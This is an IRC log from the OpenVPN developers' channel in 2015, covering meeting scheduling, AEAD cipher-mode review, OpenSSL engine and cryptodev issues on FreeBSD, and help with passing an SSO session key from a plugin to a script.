https://github.com/syzzer/openvpn/tree/aead-cipher-modes8 14:53 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes8 · GitHub (at github.com) 14:54 <@mattock> would it make sense to arrange another meeting and have James participate? 14:54 <@cron2_> most definitely :) 14:54 <@cron2_> syzzer: how big is the change? 14:54 <@cron2_> like, "2 files, totally trivial" or "all the crypto modules fully revamped" 14:55 <@syzzer> yes, I think James is definitely needed for this 14:55 <@syzzer> cron2_: no, it introduces a new on-the-wire packet format 14:55 <@mattock> most definitely stuff which requires James 14:55 < m-a> so, conditional ACK and relevant manual page update proposal (which needs to be ACKed by itself) sent to the openvpn-devel list. 14:55 <@syzzer> it doesn't change much on the existing code, but it is quite a bit of code 14:55 <@mattock> m-a: thanks! 14:56 <@syzzer> m-a: great! 14:56 < m-a> nevermind. 14:56 <@syzzer> m-a: well, as you've noticed, any review efforts are more than welcome :) 14:56 < m-a> my little compensation for getting the FreeBSD tickets moving :) 14:57 <@mattock> so when do we arrange the AEAD meeting? 14:57 <@mattock> next Monday is probably bad due to Easter and all 14:57 <@mattock> two weeks from now? 14:57 <@mattock> or non-monday? 14:57 <@syzzer> next week is bad for me indeed 14:57 < m-a> Easter Monday is a public holiday in Germany 14:57 <@mattock> also here in Finland 14:58 <@syzzer> but 13/4 works for me 14:58 < m-a> I'm out on the AEAD stuff anyhow. 14:58 * m-a wondering where the manual page update patch got stuck. 14:58 <@mattock> any objections to a meeting on 13th Apr? 14:58 <@cron2_> syzzer: I'm fine to review the packet format, but we need James 14:59 < m-a> I abstain from the vote. 14:59 <@mattock> m-a: I got the mail 14:59 <@cron2_> m-a: sourceforge greylisting... 14:59 <@cron2_> maybe 14:59 <@cron2_> april 13 is good 14:59 < m-a> yeah but the conditional ACK has already made it 14:59 <@cron2_> weird 14:59 <@mattock> I received both emails from m-a 15:00 <@cron2_> ok, need to go and break other stuff now... *wave* 15:00 < m-a> ok, then it's probably delayed in my inbound path section. Perhaps University spam filters or firewalls. 15:00 <@mattock> I'll add a tentative topic page for 13th Apr and inform James about it 15:00 <@cron2_> thanks 15:00 < m-a> so final question 15:01 < m-a> is there any detailed planning (target date) regarding a 2.3.7 release? 15:01 < m-a> or is it flexible and just based on the trac milestones? 15:01 <@cron2_> "four weeks ago"... I really don't know, when I find time to work on these tickets. But hopefully soon 15:01 <@cron2_> it is flexible, but I do not want to drag too long 15:02 < m-a> fair enough 15:03 < m-a> ok, my patch hit the archives, http://sourceforge.net/p/openvpn/mailman/openvpn-devel/thread/1427745294-31041-1-git-send-email-matthias.andree%40gmx.de/#msg33676596 15:04 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 15:04 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2015-04-13 15:04 <@vpnHelper> Title: Topics-2015-04-13 – OpenVPN Community (at community.openvpn.net) 15:05 <@cron2_> yeah, mails are here 15:06 < m-a> so please review, and feel free to suggest better texts ;) 15:06 <@syzzer> yes, will do 15:07 <@syzzer> well, just review probably ;) 15:07 < m-a> !meetings 15:07 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:07 <@cron2_> uh, someone teach vpnhelper that it's monday now... 15:07 < m-a> perhaps this needs revision... 15:08 <@dazo> !forget meetings 15:08 <@vpnHelper> Joo got it. 15:09 <@dazo> !learn meetings is OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advanced on the openvpn-devel mailing list 15:09 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value. 15:09 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advanced on the openvpn-devel mailing list 15:09 <@vpnHelper> Joo got it. 15:09 <@dazo> !learn meetings as Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:09 <@vpnHelper> Joo got it. 15:09 <@dazo> !meetings 15:09 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advanced on the openvpn-devel mailing list or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:10 <@syzzer> hmm, I think the actual default is 20:00 CET/CEST 15:10 < m-a> if you want me to go into German nit-pick modes, it's "in advance" (without -d). 15:11 <@dazo> m-a: duh! thx! 15:11 <@plaisthos> cron2_: here! 15:11 <@dazo> !forget meetings 15:11 <@vpnHelper> Error: 2 factoids have that key. Please specify which one to remove, or use * to designate all of them. 15:11 <@dazo> !forget meetings * 15:11 <@vpnHelper> Joo got it. 15:11 <@dazo> !learn meetings is OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list 15:11 <@dazo> !learn meetings as Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:11 <@vpnHelper> Joo got it. 15:11 < m-a> that guy is a bit like C3PO from the star wars movies 15:11 <@dazo> heh 15:11 <@dazo> !meetings 15:11 <@vpnHelper> "meetings" is Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:12 < m-a> I mean the bot ;) 15:12 <@dazo> uhm 15:12 <@dazo> !forget meetings * 15:12 <@vpnHelper> Joo got it. 15:12 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list 15:12 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list 15:12 <@vpnHelper> Joo got it. 15:12 <@dazo> !learn meetings as Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:12 <@vpnHelper> Joo got it. 15:12 <@dazo> !meetings 15:12 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:12 <@mattock> we're learning a lot 15:12 <@mattock> I updated https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:12 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 15:13 < m-a> Kiitos 15:13 <@mattock> Ole hyvä :) 15:13 <@dazo> darn ... time flies ... our first meeting was Jan 2010 ... 4 years ago 15:13 < m-a> Hey I only know that one word Finnish! 15:13 <@mattock> ok, I'm off, this was a productive meeting 15:14 <@mattock> m-a: "Ole hyvä" means "You're welcome" 15:14 <@mattock> literally: "Be good" 15:14 < m-a> I figured as much, but Google Translate doesn't figure that ;) 15:14 <@mattock> oh, it's that bad 15:14 < m-a> https://translate.google.com/#auto/en/ole%20hyv%C3%A4 15:14 <@vpnHelper> Title: Google Translate (at translate.google.com) 15:14 <@mattock> anyways, good night guys! 15:14 < m-a> good night 15:15 <@syzzer> ACK on the list 15:15 <@syzzer> good night! 15:17 <@mattock> sent mail about 13th Apr to James 15:19 <@syzzer> I'll try to implement the cipher negotiation as proposed by James before 13/4, but we'll see if that works out ;) 15:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 15:26 -!- m-a [mandree@f049115120.adsl.alicedsl.de] has left #openvpn-devel ["bye"] 16:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 16:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:40 -!- dazo_afk is now known as dazo 18:13 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 19:07 -!- dazo is now known as dazo_afk 19:37 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 20:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:02 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:43 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] 21:44 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:37 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] --- Day changed Tue Mar 31 2015 00:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:46 <@mattock> cron2: patches for #512 sent 02:15 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 02:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:29 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:29 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:36 <@cron2_> cool 02:55 <@cron2_> syzzer: do you have any experience with SSL offloading hardware? 02:55 * cron2_ wonders how these perform when comparing 2015 SSL offloading hardware vs. 2015 12-core Intel Xeon CPUs, including price 02:58 <@mattock> I would suspect that dedicated SSL offloading hardware will always be much faster 02:58 <@mattock> provided it does the magic in circuitry 03:01 * plaisthos disagrees 03:01 <@plaisthos> aes-ni is pretty fast 03:08 <@cron2_> well, there's RSA ops, and symmetric crypto throughput 03:08 * cron2_ did some googling and current crypto hardware claims to do up to 100k RSA ops /sec for 2k keys, while benchmarks show only ~2000 RSA ops/sec for "main CPU" 03:10 <@plaisthos> that is believable 04:05 -!- dazo_afk is now known as dazo 05:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 05:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:48 <@syzzer> cron2_: nope, no real experience, especially not on the performance aspects 05:49 <@syzzer> I do know a lot of them are quite horrible with respect to protocol conformancy and/or broken implementations 06:19 * plaisthos hopes the update to 3.19.3 fixes his kernel panics 12:22 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 12:24 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:59 <@vpnHelper> RSS Update - tickets: #536: "There are no TAP-Windows adapters on this system" after installing Windows 10 build 10049 <https://community.openvpn.net/openvpn/ticket/536> 14:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 19:29 -!- dazo is now known as dazo_afk 20:12 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 252 seconds] 20:13 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Wed Apr 01 2015 00:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:38 -!- kill_switch [~kill_swit@unaffiliated/kill-switch/x-7306241] has joined #openvpn-devel 00:38 < kill_switch> hi 00:38 -!- kill_switch [~kill_swit@unaffiliated/kill-switch/x-7306241] has left #openvpn-devel ["Leaving"] 04:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 04:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:03 <@plaisthos> Yay! New Android 5.0+ VPN feature: 06:03 <@plaisthos> DNS only works if the DNS server is inside the VPN range 06:05 -!- dazo_afk is now known as dazo 06:19 <@cron2_> wut? this is an april 1st joke, right? 06:58 <@plaisthos> cron2_: nope 06:59 <@plaisthos> hm 07:00 <@plaisthos> I cannot reproduce it myself but some user had this effect 07:02 <@dazo> syzzer: [no rush] ... What's your take on the NaCl library? http://nacl.cr.yp.to/ 07:02 <@vpnHelper> Title: Introduction (at nacl.cr.yp.to) 07:18 <@syzzer> dazo: cool stuff! :) 07:37 <@plaisthos> probably just another random bug 09:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 11:01 -!- filenox [~filenox@95.130.40.188] has joined #openvpn-devel 11:38 -!- filenox [~filenox@95.130.40.188] has quit [Remote host closed the connection] 15:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 17:52 <@ecrist> what? 17:54 <@ecrist> mattock_afk: my port goes off git-master 17:54 <@ecrist> I have a script that creates weekly development snapshots 17:54 <@ecrist> those are all based on -devel 18:11 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 18:23 <@vpnHelper> RSS Update - tickets: #537: Local user storage (sqlite3) uses SHA256 for user passwords <https://community.openvpn.net/openvpn/ticket/537> 18:38 < n13l> hi all, anyone here ? :) can i set env variable from my ovpn C plugin for external script executed from *ovpn -> up ./script.py 19:32 <@dazo> n13l: should be doable ... if you use fork() + execve() you provide an environment "table" which contains what you want the forked process should have access to 19:32 <@dazo> n13l: see the openvpn_execve() function for more info (iirc) 19:40 <@ecrist> fyi - I'm upgrading the forums server to FreeBSD 10.1, might be bumpy 19:41 <@ecrist> dazo: I've been forced into using Red Hat at new $job. Aside from the learning curve, I like it. 19:41 <@ecrist> what do you work on for redhat, exactly? 19:42 <@dazo> ecrist: now I'm working in the secondary architectures team, fixing bugs and stuff for primarily ppc64, the new little-endian ppc64 (power8) and s/390 (system z) 19:43 <@dazo> cool you like it :) ... I must say, I was very skeptic to RHEL and Fedora myself before I started here ... now I find RHEL quite predictable and stable 19:47 <@ecrist> it won't ever replace FreeBSD in my heart, but I like some things. 19:47 <@ecrist> like satellite 19:47 <@ecrist> I hate systemd 19:48 <@ecrist> I've spent the last week debugging stability issues in RHEL7/7.1 related to systemd and boot/shutdown 19:48 <@ecrist> f20 had patches for rpcbind that haven't ever made it into red hat. old patches 19:48 <@dazo> heh ... I used to dislike systemd in the beginning too, until I managed to wrap my head around it ... now I actually find it quite an improvement 19:49 <@dazo> what kind of stability issues? 19:50 <@dazo> odd that f20 patches have not been included ... but we're quite hard at the "upstream first"-mantra ... so only exceptionally RHEL packages gets patches not being accepted by the project/community 19:51 <@dazo> (not saying there are few exceptions ... there are quite some, but RH tries hard to avoid such maintenance mess) 19:54 <@ecrist> there was a specific bug in systemd where there was not rpc socket capability, fixed in f20. the bug was marked "won't fix" but the last comment was, I'll commit this to red hat, or something similar. 19:54 <@ecrist> I've got RHN support goons looking in to it. 19:55 <@dazo> good! then it will definitely be taken care off :) 19:56 <@dazo> got a bz? I got curious :) 19:56 <@ecrist> 01412051 19:56 <@ecrist> not bz, it's a red hat support case 19:56 <@dazo> that's the case number, isn't it? 19:56 <@ecrist> the BZ is listed in there. 19:56 <@ecrist> looking 19:57 <@dazo> thx! I don't have access to the support system, only bz 19:57 <@ecrist> BZ 1158164 19:57 * dazo looks 19:58 <@ecrist> we're also tracking a bug in logind, which is related to all this 19:58 <@ecrist> generally it rolled out as startup/shutdown instability. 20:04 <@dazo> right, they've added some systemd magic to rpcbind, to more properly support socket activation 20:05 <@dazo> socket activation is one of the cool but sometimes quite troublesome features of systemd, especially if the service doesn't respond correctly 20:05 <@ecrist> right, and that was never actually comitted to systemd, but rpcbind's end of the changes were comitted. 20:05 <@dazo> yeah, and I understand why it needs to be in rpcbind ... when they aim for socket activation 20:06 <@ecrist> for sure, it makes sense. if it works. 20:06 <@dazo> yeah :) 20:06 <@ecrist> I've got 400 developers waiting for the fix. ;) 20:06 <@dazo> eeek 20:07 <@ecrist> we're trying to move a product from 5.9 to 7.1. we can distribute the kickstart until this is done. 20:07 <@ecrist> can't* 20:07 <@dazo> wow ... that's a big step forward 20:07 <@ecrist> medical devices, long development cycle. 20:08 <@dazo> right 20:08 <@ecrist> we're also move a different product from windows xp to windows 7 20:08 <@ecrist> moving* 20:08 <@ecrist> <- can't type tonight 20:08 <@dazo> :) 20:14 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 20:26 < n13l> dazo: hi ! 20:26 <@dazo> n13l: hey! 20:27 < n13l> im tryharding struct openvpn_plugin_args_func_return *rv but it seems that i cant pass env to script like that :| 20:27 < n13l> btw why it is ptr to ptr + there's next member inside struct 20:27 * dazo digs up the code 20:27 < n13l> struct openvpn_plugin_string_list ** 20:28 < n13l> struct openvpn_plugin_args_func_return 20:28 < n13l> { struct openvpn_plugin_string_list **return_list; 20:28 < n13l> }; 20:28 < n13l> + struct openvpn_plugin_string_list containst next member 20:29 <@dazo> it's inside a struct so we can extend the API without modifying the function declarations ... a simple rebuild of the plug-in is required to support an updated API 20:31 < n13l> hmhm maybe im abit tired coz im still not sure why it's not just ptr to struct openvpn_plugin_string_list 20:31 <@dazo> I'm not sure what you exactly try to do with the env variables ... 20:32 < n13l> actually im like 99% done with HTTP SSO demo on top of EKM 20:32 < n13l> http-client.py & http-server.py 20:32 <@dazo> cool ... but I don't understand what you try to pass back to openvpn .... 20:33 < n13l> I have got C plugin which handle TLS FINAL 20:33 <@dazo> right 20:33 < n13l> for server side of plugin i saving session to file = '/tmp/openvpn_sso_' + session_key 20:34 < n13l> client.ovpn 20:34 < n13l> script-security 2 20:34 < n13l> up ./http-client.py 20:34 < n13l> pull 20:34 < n13l> plugin ./sso.so 20:34 < n13l> i need to somehow pass keying material (session key) to http-client.py 20:35 < n13l> then i just call http server with conn = httplib.HTTPConnection("10.8.0.1:8080") 20:35 < n13l> conn.request("GET", "/" + session_key) 20:35 <@dazo> right ... okay, that's not possible .... but if you rather execute the http-client.py script via the sso.so, you can provide the needed env 20:36 <@dazo> iirc, the return list is more to provide 'push' config statements in a dynamic fashion 20:37 < n13l> hm ok 20:37 * dazo double checks plugin.c now 20:37 < n13l> maybe i could also save session key for client to some static tmp file and then read it in the script 20:37 < n13l> (it's demo so ..) 20:38 <@dazo> yeah, that should work 20:39 < n13l> i actualy somehow like when script is "called" from *.ovpn because then it's more obvious how its working 20:39 < n13l> btw ! 20:39 < n13l> looks good ! 20:39 < n13l> Thu Apr 2 03:36:59 2015 us=837677 PLUGIN SSO: app session key: 1fb5af813b75bbed17d838bee5b6f59e21199a6f 20:39 < n13l> Thu Apr 2 03:36:59 2015 us=837698 PLUGIN_CALL: POST ./sso.so/PLUGIN_TLS_FINAL status=0 20:39 < n13l> Thu Apr 2 03:37:02 2015 us=360731 PLUGIN SSO: app session key: 1fb5af813b75bbed17d838bee5b6f59e21199a6f 20:39 < n13l> Thu Apr 2 03:37:02 2015 us=360760 PLUGIN_CALL: POST ./sso.so/PLUGIN_UP status=0 20:39 < n13l> Thu Apr 2 03:37:02 2015 us=360786 ./http-client.py tun1 1500 1544 10.8.0.6 10.8.0.5 init 20:39 < n13l> <html><body><h1>Greetings Bob. You are authenticated</h1></body></html> 20:39 < n13l> Thu Apr 2 03:37:02 2015 us=411987 /sbin/route add -net 10.8.0.1 netmask 255.255.255.255 gw 10.8.0.5 20:39 < n13l> Thu Apr 2 03:37:02 2015 us=413524 Initialization Sequence Completed 20:39 <@dazo> cool! 20:42 <@dazo> so the return list is used in OPENVPN_PLUGIN_CLIENT_CONNECT_V2, which calls multi_client_connect_post_plugin() with the return list which is parsed and fed through options_string_import() - which basically is a programmatic way of doing client-config-dir 20:44 < n13l> aah thx for explanation 20:45 <@dazo> using this approach, it should be possible that your plugin saves the session key in TLS_FINAL, and adds a hook to CLIENT_CONNECT_V2 which adds "setenv-safe sessionkey ......" .... and then if the --up script is called after CLIENT_CONNECT_V2, it would have the env variable 20:46 <@dazo> as OPENVPN_sessionkey 20:46 < n13l> hm using CLIENT_CONNECT_"V1". goin to look into v2 (dunno what's setenv-safe) 20:46 <@dazo> it's a way to provide env variables to scripts ;-) 20:47 < n13l> im not sure but imho client connect is called before TLS_FINAL ... 20:47 <@dazo> Double checking it now, but I believe it is 20:48 <@dazo> according to openvpn-plugin.h, OPENVPN_PLUGIN_CLIENT_CONNECT_V2 is called after OPENVPN_PLUGIN_TLS_FINAL 20:49 < n13l> aah i can see (it was client_constructor_v1) what was called before it seems 20:50 <@dazo> right ... these _v{1,2,3} indicators are quite confusing 20:51 <@dazo> another detail is that all plugins are run before any scripts 20:51 <@dazo> (at least in the client-connect scenario) 20:53 < n13l> isnt connect_client called only for server side ?:) 20:55 < n13l> ye it seems that's called only for server endpoint 20:55 <@dazo> duh 20:55 <@dazo> silly detail I forgot to think about 20:58 <@dazo> I'm actually somewhat uncertain if CLIENT_CONNECT is called on the client side or not ... 20:59 < n13l> I am not 100% sure but it looks like that when using my demo plugin 21:00 <@dazo> you might be right ... much of the code paths in are quite confusing, as they are reused on both server and client mode ... and is shared between udp and tcp too 21:00 < n13l> Options error: --client-connect requires --mode server 21:00 <@dazo> right 21:00 < n13l> but it doesnt scream like that in C plugin 21:02 < n13l> well it's a pitty there's nothing like session identifier/context which can be used across hooks 21:02 < n13l> and/or setting env directly from plugin 21:03 <@dazo> tunnel_server_udp_single_threaded() -> multi_process_io_udp() -> multi_process_incoming_link() -> multi_process_post() -> multi_connection_established() -> plugin_call(..., OPENVPN_PLUGIN_CLIENT_CONNECT_V2, ...) 21:03 <@dazo> I think the limitation is somewhat artificial, when I look at that code path 21:04 <@dazo> (but this is a completely different issue) 21:05 < n13l> this could be maybe used as an env identifier (sid=ed8c7019 469386e2) 21:05 < n13l> or something like that 21:05 <@dazo> hmmm .... without having checked what sid is based on, I believe that should work 21:06 < n13l> well it depends how often there's a need for more then 1 plugin share some kind of context 21:06 <@dazo> I think this is the first time I've seen this issue :) 21:06 < n13l> hmm but i cant see that sid in env list :) 21:06 * dazo brb 21:11 < n13l> well i will prolly save session key to /tmp/openvpn-sso-client or somethin 21:12 < n13l> thank you for help - goin zzz: i bealive that i will post finally demo soon :) 21:22 <@dazo> thx a lot! 21:47 <@ecrist> shit 21:48 <@ecrist> mattock_afk: I killed the forum server 21:48 <@ecrist> sshd didn't come back up 21:48 <@ecrist> but the website is online 23:39 -!- dazo is now known as dazo_afk --- Day changed Thu Apr 02 2015 00:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:00 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 272 seconds] 02:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:34 <@vpnHelper> RSS Update - tickets: #538: no PIN prompt with PKCS11 when systemd is enabled <https://community.openvpn.net/openvpn/ticket/538> 04:35 <@vpnHelper> RSS Update - tickets: #539: Killing a client instance with colon in cn not possible <https://community.openvpn.net/openvpn/ticket/539> 07:32 -!- mattock_afk is now known as mattock 07:38 -!- mattock is now known as mattock_afk 11:04 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:28 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 15:08 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 16:38 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 265 seconds] 16:39 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 16:39 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Fri Apr 03 2015 13:16 -!- JethroTux [~giuseppe@unaffiliated/jethrotux] has joined #openvpn-devel 13:17 < JethroTux> I can't connect to freenode or any irc servers when running openvpn. Do I have to make any changes on client.conf file? Please help, thanks. 13:24 -!- JethroTux [~giuseppe@unaffiliated/jethrotux] has quit [Quit: brb] 17:55 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 17:56 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:13 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 23:33 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 23:34 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Sat Apr 04 2015 04:16 <@syzzer> aargh, the openssl engine behaviour (re #480) is really annoying :/ 04:21 <@syzzer> it loads all kinds of stuff automatically. combined with platforms (FreeBSD, in this case) having stupid defaults (AES-NI through cryptodov by default, d'oh!), and no nice way to generically control the behaviour, it all ends up in a lot of pain... 06:30 <@cron2_> yeah, feels like it. I thought I understood the issue and that the fix should be just fine... 09:41 <@plaisthos> aes-ni through cryptodev sounds stupid 11:24 <@cron2_> indeed... --- Day changed Sun Apr 05 2015 07:27 <@syzzer> dazo_afk: (or anyone, actually) why do we postpone file path checks to options_postprocess_filechecks(), instead of performing them immediately in add_options()? 11:07 <@plaisthos> because of crap like ca inline 11:07 <@plaisthos> <ca>...</ca> 11:27 <@plaisthos> and chroot 13:11 <@cron2_> syzzer: chroot and --cd 13:23 <@syzzer> ah, makes sense 17:01 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 17:18 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 20:09 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Mon Apr 06 2015 07:29 <@cron2_> syzzer: the v2 patch surprises me a bit - if I read this right it will now call ENGINE_cleanup () outside if(engine_initialized) - is this intentional? 08:53 -!- Netsplit *.net <-> *.split quits: m0hm0h, @raidz, ender|, Hes, @vpnHelper, ngharo, @andj, lev__, floppym 08:55 -!- Netsplit over, joins: @andj, m0hm0h, ngharo, lev__ 08:57 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:58 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 08:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:58 -!- ServerMode/#openvpn-devel [+oo raidz vpnHelper] by barjavel.freenode.net 08:58 -!- Hes [rXWLopED@tunkki.fi] has joined #openvpn-devel 08:58 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 09:00 -!- Netsplit *.net <-> *.split quits: floppym 09:01 -!- Netsplit over, joins: floppym 17:49 <@pekster> dazo_afk: (re: paths & checks) IIRC, I submitted a patch a while back to fix some failures with --chroot where a check passed the pre-chroot stuff, then failed if it needed it later (like CRLs, I forget exactly what it was.) Dragons lurk there ;) 17:50 <@pekster> Erm, syzzer, that was more on-point with your query --- Day changed Tue Apr 07 2015 01:50 -!- mattock_afk is now known as mattock 02:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:34 <@syzzer> cron2_: yes, that is on purpose - openssl silently initializes engines when you use some crypto functions (such as the call to 'initialize you table with available ciphers', which we use) 02:35 <@syzzer> so, we need to clean up even when we did not explicitly initialize anything... 02:37 <@cron2_> mmmh. But shouldn't that bite us always today, not only when using engine? 02:39 <@syzzer> cron2_: no, because in the general case there are no engines available that cause problems 02:40 <@syzzer> the EVP/cipher init stuff only loads the cryptodev engine automatically, iirc 02:40 * cron2_ still doesn't understand 02:41 <@syzzer> well, that probably means you *do* have a sane mind ;) 02:41 <@cron2_> wouldn't that cause problems on *all* FreeBSD installations with --daemon, then? 02:41 <@cron2_> (or at least, all pfsense installations) 02:44 <@syzzer> I would expect that, but there must be something to the cryptodev backend that influences it... 02:44 <@syzzer> perhaps only the aes-ni cryptodev implementation binds its file descriptors this way? 02:46 <@syzzer> also, garga only had troubles with a static key setup, his tls setup did work... 02:46 <@cron2_> totally insane 02:48 <@syzzer> yes, this one sounded so easy at first, patch supplied and all... 02:52 <@cron2_> what CPU generation does one need to get cryptodev-aes-ni? 02:53 <@cron2_> (I could set up a FreeBSD 10.1 box or VM and hand it to you to break...) 02:54 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:55 <@cron2_> fbsd100.ov$ openssl engine 02:55 <@cron2_> (cryptodev) BSD cryptodev engine 02:56 <@cron2_> ok, so how can I see if that one is actually working? 02:57 <@cron2_> (that's one of my 10.1/amd64 VMs I use for OpenVPN anyway, so if that one has aes-ni, we can use that for testing) 02:57 <@cron2_> CPU: AMD Opteron(tm) Processor 6172 (2100.00-MHz K8-class CPU) 02:57 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:57 <@cron2_> mmmh 03:12 <@cron2_> move towards an intel host initiated... 03:12 <@syzzer> cron2_: http://en.wikipedia.org/wiki/AES_instruction_set#Supporting_CPUs 03:12 <@vpnHelper> Title: AES instruction set - Wikipedia, the free encyclopedia (at en.wikipedia.org) 03:16 <@cron2_> we'll see what that VM has when coming back :) 03:21 <@cron2_> CPU: Intel(R) Xeon(R) CPU L5640 @ 2.27GHz (2266.75-MHz K8-class CPU) 03:21 <@cron2_> Features2=0x82982203<SSE3,PCLMULQDQ,SSSE3,CX16,SSE4.1,SSE4.2,POPCNT,AESNI,HV> 03:28 <@cron2_> mbl... "openssl speed aes" and "openssl speed -engine cryptodev aes" produces the very same numbers 